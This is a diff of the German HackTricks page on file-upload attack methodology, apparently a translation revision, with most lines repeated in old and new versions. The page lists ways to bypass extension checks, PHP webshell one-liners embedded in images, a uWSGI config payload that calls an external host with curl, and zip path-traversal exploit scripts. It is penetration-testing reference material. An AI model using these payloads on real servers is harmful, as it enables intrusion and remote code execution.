* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -10,17 +10,17 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
|
|||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositorys senden.
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Allgemeine Methodik zum Datei-Upload
|
||||
## Allgemeine Methodik für Datei-Upload
|
||||
|
||||
Andere nützliche Erweiterungen:
|
||||
|
||||
|
@ -35,8 +35,8 @@ Andere nützliche Erweiterungen:
|
|||
|
||||
### Umgehen von Dateierweiterungsprüfungen
|
||||
|
||||
1. Wenn sie angewendet werden, **überprüfen** Sie die **vorherigen Erweiterungen**. Testen Sie sie auch mit einigen **Großbuchstaben**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Überprüfen Sie, ob Sie eine **gültige Erweiterung vor** der Ausführungserweiterung hinzufügen können (verwenden Sie auch vorherige Erweiterungen):_
|
||||
1. Wenn sie angewendet werden, überprüfen Sie die **vorherigen Erweiterungen**. Testen Sie sie auch mit einigen **Großbuchstaben**: _pHp, .pHP5, .PhAr ..._
|
||||
2. _Überprüfen Sie das **Hinzufügen einer gültigen Erweiterung vor** der Ausführungserweiterung (verwenden Sie auch vorherige Erweiterungen):_
|
||||
* _file.png.php_
|
||||
* _file.png.Php5_
|
||||
3. Versuchen Sie, **Sonderzeichen am Ende hinzuzufügen**. Sie könnten Burp verwenden, um alle **ASCII**- und **Unicode**-Zeichen **bruteforce** zu verwenden. (_Beachten Sie, dass Sie auch die **zuvor** genannten **Erweiterungen** verwenden können_)
|
||||
|
@ -49,7 +49,7 @@ Andere nützliche Erweiterungen:
|
|||
* _file._
|
||||
* _file.php...._
|
||||
* _file.pHp5...._
|
||||
4. Versuchen Sie, die Schutzmaßnahmen zu umgehen, indem Sie den **Erweiterungsparser** auf der Serverseite mit Techniken wie dem **Verdoppeln** der **Erweiterung** oder dem Hinzufügen von **Junk**-Daten (**Null**-Bytes) zwischen den Erweiterungen **täuschen**. _Sie können auch die **vorherigen Erweiterungen** verwenden, um ein besseres Payload vorzubereiten._
|
||||
4. Versuchen Sie, die Schutzmaßnahmen zu umgehen, indem Sie den **Erweiterungsparser** auf der Serverseite mit Techniken wie dem **Verdoppeln** der **Erweiterung** oder dem **Hinzufügen von Junk**-Daten (**Null**-Bytes) zwischen den Erweiterungen **täuschen**. _Sie können auch die **vorherigen Erweiterungen** verwenden, um ein besseres Payload vorzubereiten._
|
||||
* _file.png.php_
|
||||
* _file.png.pHp5_
|
||||
* _file.php#.png_
|
||||
|
@ -58,18 +58,18 @@ Andere nützliche Erweiterungen:
|
|||
* _file.php%0a.png_
|
||||
* _file.php%0d%0a.png_
|
||||
* _file.phpJunk123png_
|
||||
5. Fügen Sie eine **weitere Schicht von Erweiterungen** zur vorherigen Überprüfung hinzu:
|
||||
5. Fügen Sie dem vorherigen Check **eine weitere Schicht von Erweiterungen** hinzu:
|
||||
* _file.png.jpg.php_
|
||||
* _file.php%00.png%00.jpg_
|
||||
6. Versuchen Sie, die **Ausführungserweiterung vor der gültigen Erweiterung** zu platzieren und hoffen Sie, dass der Server falsch konfiguriert ist. (nützlich, um Apache-Fehlkonfigurationen auszunutzen, bei denen alles mit der Erweiterung\*\* _**.php**_**, aber** nicht unbedingt mit .php endet\*\* Code ausführen wird):
|
||||
* _z. B. file.php.png_
|
||||
7. Verwenden von **NTFS-Alternativen Datenströmen (ADS)** in **Windows**. In diesem Fall wird ein Doppelpunkt ":" nach einer verbotenen Erweiterung und vor einer erlaubten eingefügt. Dadurch wird eine **leere Datei mit der verbotenen Erweiterung** auf dem Server erstellt (z. B. "file.asax:.jpg"). Diese Datei kann später bearbeitet werden, indem andere Techniken wie die Verwendung ihres Kurznamens verwendet werden. Das Muster "**::$data**" kann auch verwendet werden, um nicht leere Dateien zu erstellen. Daher kann das Hinzufügen eines Punktzeichens nach diesem Muster auch nützlich sein, um weitere Einschränkungen zu umgehen (z. B. "file.asp::$data.").
|
||||
8. Versuchen Sie, die Dateinamenbeschränkungen zu umgehen. Die gültige Erweiterung wird abgeschnitten. Und das bösartige PHP bleibt übrig. AAA<--SNIP-->AAA.php
|
||||
* _z. B.: file.php.png_
|
||||
7. Verwenden von **NTFS-Alternativen Datenströmen (ADS)** in **Windows**. In diesem Fall wird ein Doppelpunkt ":" nach einer verbotenen Erweiterung und vor einer erlaubten eingefügt. Dadurch wird eine **leere Datei mit der verbotenen Erweiterung** auf dem Server erstellt (z. B. "file.asax:.jpg"). Diese Datei kann später bearbeitet werden, indem andere Techniken wie die Verwendung ihres Kurznamens verwendet werden. Das Muster "**::$data**" kann auch verwendet werden, um nicht leere Dateien zu erstellen. Daher kann das Hinzufügen eines Punktzeichens nach diesem Muster auch nützlich sein, um weitere Einschränkungen zu umgehen (z. B. "file.asp::$data.")
|
||||
8. Versuchen Sie, die Dateinamenbeschränkungen zu umgehen. Die gültige Erweiterung wird abgeschnitten, und das bösartige PHP bleibt übrig. AAA<--SNIP-->AAA.php
|
||||
|
||||
```
|
||||
# Linux maximal 255 Bytes
|
||||
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # hier 4 abziehen und .png hinzufügen
|
||||
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 hier und .png hinzufügen
|
||||
# Laden Sie die Datei hoch und überprüfen Sie die Antwort, wie viele Zeichen erlaubt sind. Angenommen, 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
|
@ -84,11 +84,11 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
`exiftool -Comment="<?php echo 'Befehl:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` oder Sie könnten auch das **Payload direkt** in ein Bild einfügen:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
* Wenn **Komprimierung zu Ihrem Bild hinzugefügt wird**, z.B. durch die Verwendung einiger Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), sind die zuvor genannten Techniken nicht nützlich. Sie könnten jedoch den **PLTE-Chunk** [**hier definierte Technik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der **die Komprimierung überleben wird**.
|
||||
* Wenn **Komprimierung zu Ihrem Bild hinzugefügt wird**, z.B. durch die Verwendung einiger Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), sind die zuvor genannten Techniken nicht nützlich. Sie könnten jedoch die **PLTE-Charge** [**hier definierte Technik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der **die Komprimierung überleben wird**.
|
||||
* [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
|
||||
* Die Webseite könnte auch das **Bild verkleinern**, z.B. mit den PHP-GD-Funktionen `imagecopyresized` oder `imagecopyresampled`. Sie könnten jedoch den **IDAT-Chunk** [**hier definierte Technik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der **die Komprimierung überleben wird**.
|
||||
* Die Webseite könnte auch das **Bild verkleinern**, z.B. mit den PHP-GD-Funktionen `imagecopyresized` oder `imagecopyresampled`. Sie könnten jedoch die **IDAT-Charge** [**hier definierte Technik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der **die Komprimierung überleben wird**.
|
||||
* [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php)
|
||||
* Eine weitere Technik, um ein Payload zu erstellen, der **eine Bildverkleinerung überlebt**, ist die Verwendung der PHP-GD-Funktion `thumbnailImage`. Sie könnten jedoch den **tEXt-Chunk** [**hier definierte Technik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der **die Komprimierung überleben wird**.
|
||||
* Eine weitere Technik, um ein Payload zu erstellen, der **eine Bildverkleinerung überlebt**, ist die Verwendung der PHP-GD-Funktion `thumbnailImage`. Sie könnten jedoch die **tEXt-Charge** [**hier definierte Technik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um Text einzufügen, der **die Komprimierung überleben wird**.
|
||||
* [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php)
|
||||
|
||||
### Weitere Tricks zum Überprüfen
|
||||
|
@ -101,13 +101,13 @@ AAA<--SNIP 232 A-->AAA.php.png
|
|||
3. Laden Sie eine Datei mit **“.”, “..” oder “…” als Namen** hoch. Zum Beispiel, in Apache in **Windows**, wenn die Anwendung die hochgeladenen Dateien im Verzeichnis “/www/uploads/” speichert, wird der Dateiname “.” eine Datei namens “uploads” im Verzeichnis “/www/” erstellen.
|
||||
4. Laden Sie eine Datei hoch, die möglicherweise nicht leicht gelöscht werden kann, wie **“…:.jpg”** in **NTFS** (Windows).
|
||||
5. Laden Sie eine Datei in **Windows** mit **ungültigen Zeichen** wie `|<>*?”` in ihrem Namen hoch (Windows).
|
||||
6. Laden Sie eine Datei in **Windows** unter Verwendung von **reservierten** (**verbotenen**) **Namen** wie CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 und LPT9 hoch.
|
||||
* Versuchen Sie auch, eine ausführbare Datei (.exe) oder eine **.html** (weniger verdächtig) hochzuladen, die **Code ausführt**, wenn sie versehentlich vom Opfer geöffnet wird.
|
||||
6. Laden Sie eine Datei in **Windows** hoch, indem Sie **reservierte** (**verbotene**) **Namen** wie CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 und LPT9 verwenden.
|
||||
* Versuchen Sie auch, eine ausführbare Datei (.exe) oder eine **.html** (weniger verdächtig) hochzuladen, die Code ausführt, wenn sie versehentlich vom Opfer geöffnet wird.
|
||||
|
||||
### Spezielle Erweiterungstricks
|
||||
|
||||
Wenn Sie versuchen, Dateien auf einem **PHP-Server hochzuladen**, [schauen Sie sich den **.htaccess**-Trick an, um Code auszuführen](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||
Wenn Sie versuchen, Dateien auf einem **ASP-Server hochzuladen**, [schauen Sie sich den **.config**-Trick an, um Code auszuführen](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
Wenn Sie versuchen, Dateien auf einen **PHP-Server hochzuladen**, [schauen Sie sich den **.htaccess**-Trick an, um Code auszuführen](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\
|
||||
Wenn Sie versuchen, Dateien auf einen **ASP-Server hochzuladen**, [schauen Sie sich den **.config**-Trick an, um Code auszuführen](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
|
||||
|
||||
Die `.phar`-Dateien sind wie die `.jar`-Dateien für Java, aber für PHP und können wie eine PHP-Datei **verwendet werden** (durch Ausführen mit PHP oder Einbinden in ein Skript...).
|
||||
|
||||
|
@ -115,7 +115,7 @@ Die Erweiterung `.inc` wird manchmal für PHP-Dateien verwendet, die nur zum **I
|
|||
|
||||
## **Jetty RCE**
|
||||
|
||||
Wenn Sie eine XML-Datei in einen Jetty-Server hochladen können, können Sie [RCE erhalten, da **neue \*.xml- und \*.war-Dateien automatisch verarbeitet werden**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Laden Sie also die XML-Datei in `$JETTY_BASE/webapps/` hoch und erwarten Sie die Shell!
|
||||
Wenn Sie eine XML-Datei auf einen Jetty-Server hochladen können, können Sie [RCE erhalten, da **neue \*.xml- und \*.war-Dateien automatisch verarbeitet werden**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Laden Sie also wie in folgendem Bild gezeigt die XML-Datei in `$JETTY_BASE/webapps/` hoch und erwarten Sie die Shell!
|
||||
|
||||
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1) (3) (1) (1) (1).png>)
|
||||
|
||||
|
@ -143,13 +143,13 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
|||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
Die Ausführung der Nutzlast erfolgt während des Parsens der Konfigurationsdatei. Damit die Konfiguration aktiviert und geparst wird, muss der uWSGI-Prozess entweder neu gestartet werden (möglicherweise nach einem Absturz oder aufgrund eines Denial-of-Service-Angriffs) oder die Datei muss auf Auto-Reload eingestellt sein. Das Auto-Reload-Feature lädt die Datei in festgelegten Intervallen neu, wenn Änderungen erkannt werden.
|
||||
Die Ausführung der Nutzlast erfolgt während des Parsens der Konfigurationsdatei. Damit die Konfiguration aktiviert und geparst wird, muss der uWSGI-Prozess entweder neu gestartet werden (möglicherweise nach einem Absturz oder aufgrund eines Denial-of-Service-Angriffs) oder die Datei muss auf Auto-Reload eingestellt sein. Die Auto-Reload-Funktion lädt die Datei in festgelegten Intervallen neu, wenn Änderungen erkannt werden.
|
||||
|
||||
Es ist entscheidend, die lockere Natur des Konfigurationsdatei-Parsings von uWSGI zu verstehen. Insbesondere kann die besprochene Nutzlast in eine Binärdatei (wie ein Bild oder PDF) eingefügt werden, was den potenziellen Ausbeutungsbereich weiter ausdehnt.
|
||||
Es ist entscheidend, die lockere Natur des Konfigurationsdatei-Parsings von uWSGI zu verstehen. Insbesondere kann die besprochene Nutzlast in eine Binärdatei (wie ein Bild oder PDF) eingefügt werden, was den Umfang potenzieller Ausnutzungen weiter ausdehnt.
|
||||
|
||||
## **wget Datei-Upload/SSRF-Trick**
|
||||
|
||||
In einigen Fällen kann es vorkommen, dass ein Server **`wget`** zum **Herunterladen von Dateien** verwendet und Sie die **URL angeben** können. In diesen Fällen überprüft der Code möglicherweise, ob die Erweiterung der heruntergeladenen Dateien in einer Whitelist enthalten ist, um sicherzustellen, dass nur erlaubte Dateien heruntergeladen werden. **Diese Überprüfung kann jedoch umgangen werden.**\
|
||||
In einigen Fällen kann es vorkommen, dass ein Server **`wget`** zum **Herunterladen von Dateien** verwendet und Sie die **URL angeben können**. In diesen Fällen überprüft der Code möglicherweise, ob die Erweiterung der heruntergeladenen Dateien in einer Whitelist enthalten ist, um sicherzustellen, dass nur erlaubte Dateien heruntergeladen werden. **Diese Überprüfung kann jedoch umgangen werden.**\
|
||||
Die **maximale** Länge eines **Dateinamens** in **Linux** beträgt **255**, jedoch kürzt **wget** die Dateinamen auf **236** Zeichen. Sie können eine Datei namens "A"\*232+".php"+".gif" herunterladen, dieser Dateiname wird die **Überprüfung umgehen** (da in diesem Beispiel **".gif"** eine **gültige** Erweiterung ist), aber `wget` wird die Datei in **"A"\*232+".php"** umbenennen.
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
|
@ -177,7 +177,7 @@ Beachten Sie, dass **eine weitere Option**, die Sie möglicherweise in Betracht
|
|||
|
||||
## Werkzeuge
|
||||
|
||||
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) ist ein leistungsstarkes Tool, das Pentestern und Bug Bounty Jägern dabei hilft, Datei-Upload-Mechanismen zu testen. Es nutzt verschiedene Bug-Bounty-Techniken, um den Prozess der Identifizierung und Ausnutzung von Schwachstellen zu vereinfachen und eine gründliche Bewertung von Webanwendungen sicherzustellen.
|
||||
* [Upload Bypass](https://github.com/sAjibuu/Upload\_Bypass) ist ein leistungsstarkes Tool, das entwickelt wurde, um Pentester und Bug-Hunter bei der Prüfung von Datei-Upload-Mechanismen zu unterstützen. Es nutzt verschiedene Bug-Bounty-Techniken, um den Prozess der Identifizierung und Ausnutzung von Schwachstellen zu vereinfachen und eine gründliche Bewertung von Webanwendungen sicherzustellen.
|
||||
|
||||
## Vom Datei-Upload zu anderen Schwachstellen
|
||||
|
||||
|
@ -193,11 +193,11 @@ Beachten Sie, dass **eine weitere Option**, die Sie möglicherweise in Betracht
|
|||
* [Berühmte **ImageTrick**-Schwachstelle](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
* Wenn Sie den Webserver **anweisen können, ein Bild von einer URL abzurufen**, könnten Sie versuchen, einen [SSRF](../ssrf-server-side-request-forgery/) auszunutzen. Wenn dieses **Bild** auf einer **öffentlichen** Website gespeichert wird, könnten Sie auch eine URL von [https://iplogger.org/invisible/](https://iplogger.org/invisible/) angeben und **Informationen von jedem Besucher stehlen**.
|
||||
* [**XXE und CORS**-Umgehung mit PDF-Adobe-Upload](pdf-upload-xxe-and-cors-bypass.md)
|
||||
* Speziell präparierte PDFs für XSS: Die [folgende Seite zeigt, wie man **PDF-Daten einspeist, um JS-Ausführung zu erhalten**](../xss-cross-site-scripting/pdf-injection.md). Wenn Sie PDFs hochladen können, könnten Sie einige PDFs vorbereiten, die beliebigen JS gemäß den angegebenen Anweisungen ausführen.
|
||||
* Speziell präparierte PDFs für XSS: Die [folgende Seite zeigt, wie man **PDF-Daten einspeist, um JS-Ausführung zu erhalten**](../xss-cross-site-scripting/pdf-injection.md). Wenn Sie PDFs hochladen können, könnten Sie einige PDFs vorbereiten, die beliebigen JS ausführen werden, indem Sie den gegebenen Anweisungen folgen.
|
||||
* Laden Sie den \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) Inhalt hoch, um zu überprüfen, ob der Server ein **Antivirus** hat
|
||||
* Überprüfen Sie, ob es eine **Größenbeschränkung** beim Hochladen von Dateien gibt
|
||||
|
||||
Hier ist eine Top-10-Liste von Dingen, die Sie durch Hochladen erreichen können (von [hier](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
Hier ist eine Top-10-Liste von Dingen, die Sie durch das Hochladen erreichen können (von [hier](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
|
||||
1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE
|
||||
2. **SVG**: Gespeichertes XSS / SSRF / XXE
|
||||
|
@ -221,7 +221,7 @@ Hier ist eine Top-10-Liste von Dingen, die Sie durch Hochladen erreichen können
|
|||
|
||||
Siehe [https://en.wikipedia.org/wiki/List\_of\_file\_signatures](https://en.wikipedia.org/wiki/List\_of\_file\_signatures) für andere Dateitypen.
|
||||
|
||||
### Zip/Tar-Datei automatisch dekomprimierter Upload
|
||||
### Automatisch dekomprimierte Zip/Tar-Datei-Upload
|
||||
|
||||
Wenn Sie eine ZIP-Datei hochladen können, die auf dem Server dekomprimiert wird, können Sie 2 Dinge tun:
|
||||
|
||||
|
@ -235,7 +235,7 @@ tar -cvf test.tar symindex.txt
|
|||
```
|
||||
### Dekomprimieren in verschiedenen Ordnern
|
||||
|
||||
Die unerwartete Erstellung von Dateien in Verzeichnissen während der Dekomprimierung ist ein erhebliches Problem. Trotz anfänglicher Annahmen, dass diese Konfiguration möglicherweise vor der Ausführung von Befehlen auf OS-Ebene durch bösartige Datei-Uploads schützt, können die hierarchische Komprimierungsunterstützung und die Verzeichnis-Traversal-Fähigkeiten des ZIP-Archivformats ausgenutzt werden. Dies ermöglicht es Angreifern, Beschränkungen zu umgehen und sichere Upload-Verzeichnisse zu verlassen, indem sie die Dekomprimierungsfunktionalität der gezielten Anwendung manipulieren.
|
||||
Die unerwartete Erstellung von Dateien in Verzeichnissen während der Dekomprimierung ist ein erhebliches Problem. Trotz anfänglicher Annahmen, dass diese Konfiguration möglicherweise vor der Ausführung von Befehlen auf OS-Ebene durch bösartige Datei-Uploads schützt, können die hierarchische Komprimierungsunterstützung und die Verzeichnis-Traversierungsfähigkeiten des ZIP-Archivformats ausgenutzt werden. Dies ermöglicht es Angreifern, Beschränkungen zu umgehen und sichere Upload-Verzeichnisse zu verlassen, indem sie die Dekomprimierungsfunktionalität der gezielten Anwendung manipulieren.
|
||||
|
||||
Ein automatisierter Exploit zur Erstellung solcher Dateien ist unter [**evilarc auf GitHub**](https://github.com/ptoomey3/evilarc) verfügbar. Das Dienstprogramm kann wie folgt verwendet werden:
|
||||
```python
|
||||
|
@ -268,7 +268,7 @@ create_zip()
|
|||
|
||||
Für weitere Details **überprüfen Sie den Originalbeitrag unter**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
|
||||
|
||||
1. **Erstellen einer PHP-Shell**: PHP-Code wird geschrieben, um Befehle aus der `$_REQUEST`-Variablen auszuführen.
|
||||
1. **Erstellen einer PHP-Shell**: PHP-Code wird geschrieben, um Befehle auszuführen, die über die `$_REQUEST`-Variable übergeben werden.
|
||||
|
||||
```php
|
||||
<?php
|
||||
|
@ -310,9 +310,9 @@ Mehr Informationen unter: [https://www.idontplaydarts.com/2012/06/encoding-web-s
|
|||
|
||||
## Polyglotte Dateien
|
||||
|
||||
Polyglotte Dateien dienen als einzigartiges Werkzeug in der Cybersicherheit und fungieren als Chamäleons, die gleichzeitig in mehreren Dateiformaten gültig existieren können. Ein faszinierendes Beispiel ist ein [GIFAR](https://en.wikipedia.org/wiki/Gifar), eine Hybridform, die sowohl als GIF als auch als RAR-Archiv funktioniert. Solche Dateien sind nicht auf diese Kombination beschränkt; Kombinationen wie GIF und JS oder PPT und JS sind ebenfalls möglich.
|
||||
Polyglotte Dateien dienen als einzigartiges Werkzeug in der Cybersicherheit und fungieren als Chamäleons, die gleichzeitig in mehreren Dateiformaten existieren können. Ein faszinierendes Beispiel ist ein [GIFAR](https://en.wikipedia.org/wiki/Gifar), eine Hybridform, die sowohl als GIF als auch als RAR-Archiv funktioniert. Solche Dateien sind nicht auf diese Kombination beschränkt; Kombinationen wie GIF und JS oder PPT und JS sind ebenfalls möglich.
|
||||
|
||||
Der Kernnutzen von polyglotten Dateien liegt in ihrer Fähigkeit, Sicherheitsmaßnahmen zu umgehen, die Dateien basierend auf ihrem Typ überprüfen. Eine gängige Praxis in verschiedenen Anwendungen besteht darin, nur bestimmte Dateitypen für den Upload zuzulassen - wie JPEG, GIF oder DOC - um das Risiko durch potenziell schädliche Formate (z. B. JS, PHP oder Phar-Dateien) zu mindern. Ein Polyglott kann jedoch, indem es den strukturellen Kriterien mehrerer Dateitypen entspricht, diese Beschränkungen heimlich umgehen.
|
||||
Der Kernnutzen von polyglotten Dateien liegt in ihrer Fähigkeit, Sicherheitsmaßnahmen zu umgehen, die Dateien basierend auf ihrem Typ überprüfen. Eine gängige Praxis in verschiedenen Anwendungen besteht darin, nur bestimmte Dateitypen für den Upload zuzulassen - wie JPEG, GIF oder DOC - um das Risiko durch potenziell schädliche Formate (z. B. JS, PHP oder Phar-Dateien) zu verringern. Ein Polyglott kann jedoch, indem es den strukturellen Kriterien mehrerer Dateitypen entspricht, diese Beschränkungen heimlich umgehen.
|
||||
|
||||
Trotz ihrer Anpassungsfähigkeit stoßen Polyglotte auf Einschränkungen. Beispielsweise kann ein Polyglott gleichzeitig eine PHAR-Datei (PHp ARchive) und ein JPEG verkörpern, aber der Erfolg seines Uploads könnte von den Dateierweiterungsrichtlinien der Plattform abhängen. Wenn das System strengere Richtlinien für zulässige Erweiterungen hat, reicht die bloße strukturelle Dualität eines Polyglotts möglicherweise nicht aus, um seinen Upload zu garantieren.
|
||||
|
||||
|
@ -327,7 +327,7 @@ Mehr Informationen unter: [https://medium.com/swlh/polyglot-files-a-hackers-best
|
|||
* [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
* [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
